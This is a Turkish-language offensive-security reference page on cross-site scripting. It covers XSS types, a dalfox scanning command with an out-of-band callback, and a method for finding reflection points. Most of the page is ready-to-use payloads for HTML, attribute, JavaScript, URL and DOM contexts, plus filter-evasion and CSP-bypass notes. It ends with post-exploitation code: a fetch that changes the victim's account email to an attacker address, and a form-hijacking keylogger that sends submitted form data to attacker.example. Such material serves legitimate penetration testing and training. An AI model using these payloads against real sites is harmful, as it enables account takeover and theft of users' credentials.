Skip to content

Cross-Site Scripting (XSS)

OWASP A03 · Injection difficulty: kolay–orta

Cross-Site Scripting (XSS), saldırganın kontrol ettiği JavaScript’in bir başka kullanıcının tarayıcısında, güvenilen sitenin kaynağında çalışmasıdır. Bununla oturum çerezleri çalınabilir, kullanıcı adına işlem yapılabilir veya sayfa içeriği değiştirilebilir (defacement, phishing).

  • Reflected XSS — payload istekle gönderilir, yanıtta anında yansıtılır (arama kutusu, hata mesajı). Kurbana özel hazırlanmış bir link gerekir.
  • Stored XSS — payload sunucuda saklanır (yorum, profil, destek bileti) ve her ziyaretçide / admin panelinde çalışır. En yüksek etkili türdür.
  • DOM-based XSS — zafiyet tamamen istemci tarafındadır; kullanıcı girdisi ( location.hash , document.referrer , postMessage ) güvensiz bir sink’e ( innerHTML , eval , document.write , jQuery.html ) yazılır.
  • Blind / Stored-blind XSS — payload admin paneli, log görüntüleyici veya e-posta istemcisinde sonra çalışır; callback (XSS Hunter tarzı) ile yakalanır.

dalfox · reflected XSS

embedded tool
Generated command
dalfox url https://hedef.com/search?q=FUZZ -b https://your.collaborator
  1. Yansıma noktalarını bul — girdiğin benzersiz bir işaretçinin (ör. pt7x9 ) yanıtın neresinde, hangi bağlamda (HTML gövde, attribute, JS, URL, CSS) göründüğünü tespit et. Burp Proxy + search / Param Miner yardımcı olur.

  2. Bağlama uygun kaçış dene — HTML gövdesinde <svg onload=...> , attribute içinde " onmouseover=... , JS bağlamında ';alert(1)// , URL bağlamında javascript: veya data: .

  3. DOM için kaynağı incele — hangi sink’e hangi source’un aktığını tarayıcı DevTools, DOM Invader veya kaynak kodda izle. Özellikle location.* , URLSearchParams , innerHTML = kalıplarına bak.

  4. Mutasyon / decode katmanlarını say — HTML entity, URL encode, JSON escape, markdown → HTML dönüşümü. Çift decode bazen filtreyi kırar.

Bağlama göre hazır payload’lar ve blind XSS callback için: XSS Payload Generator.

<!-- HTML gövde -->
<svg onload=alert(document.domain)>
<img src=x onerror=alert(document.domain)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- Attribute break-out -->
"><img src=x onerror=alert(document.domain)>
' autofocus onfocus=alert(1) x='
<!-- JS string break-out -->
';alert(document.domain)//
'-alert(1)-'
</script>
<!-- URL / href bağlamı -->
javascript:alert(1)
data:text/html,
// Tehlikeli kalıplar
el.innerHTML = location.hash.slice(1);
document.write(name);
eval('x=' + userInput);
setTimeout(userInput, 0);
$('div').html(location.search);
<!-- #payload ile tetiklenen DOM XSS -->
https://hedef.example/page#<img src=x onerror=alert(1)>
<!-- Etiket / event varyasyonları -->
<svg/onload=alert(1)>
<svg onload=alert`1`>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<!-- Case / encoding -->
<ScRiPt>alert(1)</sCrIpT>
<img src=x onerror=\u0061lert(1)>
%3Cscript%3Ealert(1)%3C/script%3E
<!-- keyword filtre -->
<!-- HTML entity / nested -->
<a href="javas&#99;ript:alert(1)">x</a>

&lt; ve &gt; engelliyse attribute veya JS bağlamına odaklan. script kelimesi filtreleniyorsa event handler veya SVG/mathML kullan.

# script-src 'unsafe-inline' → klasik XSS çalışır
# script-src 'self' + JSONP / angular / cdn → gadget script yükle
# script-src * → harici JS yükle
# base-uri eksik → <base href="https://attacker/"> ile relative script çal
<!-- 'self' + library gadget (örnek kalıp) -->

Nonce’lu güçlü CSP varsa bile, nonce sızıntısı veya DOM XSS sink’leri policy’yi baypas edebilir.

HttpOnly çerezleri JS ile okunamaz; bu durumda:

// Kullanıcı adına iç API çağrısı (cookie otomatik gider)
fetch('/api/account/email', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'}),
credentials: 'include'
});
// Keylogger / form hijack
document.forms[0].addEventListener('submit', e => {
navigator.sendBeacon('https://attacker.example/log', new FormData(e.target));
});

Stored XSS + admin paneli = sık görülen RCE zinciri (template/plugin yükleme, dosya yönetimi). Blind XSS için payload’a benzersiz callback URL göm.

Terminal window
dalfox url "https://hedef/search?q=test" -b https://your.collaborator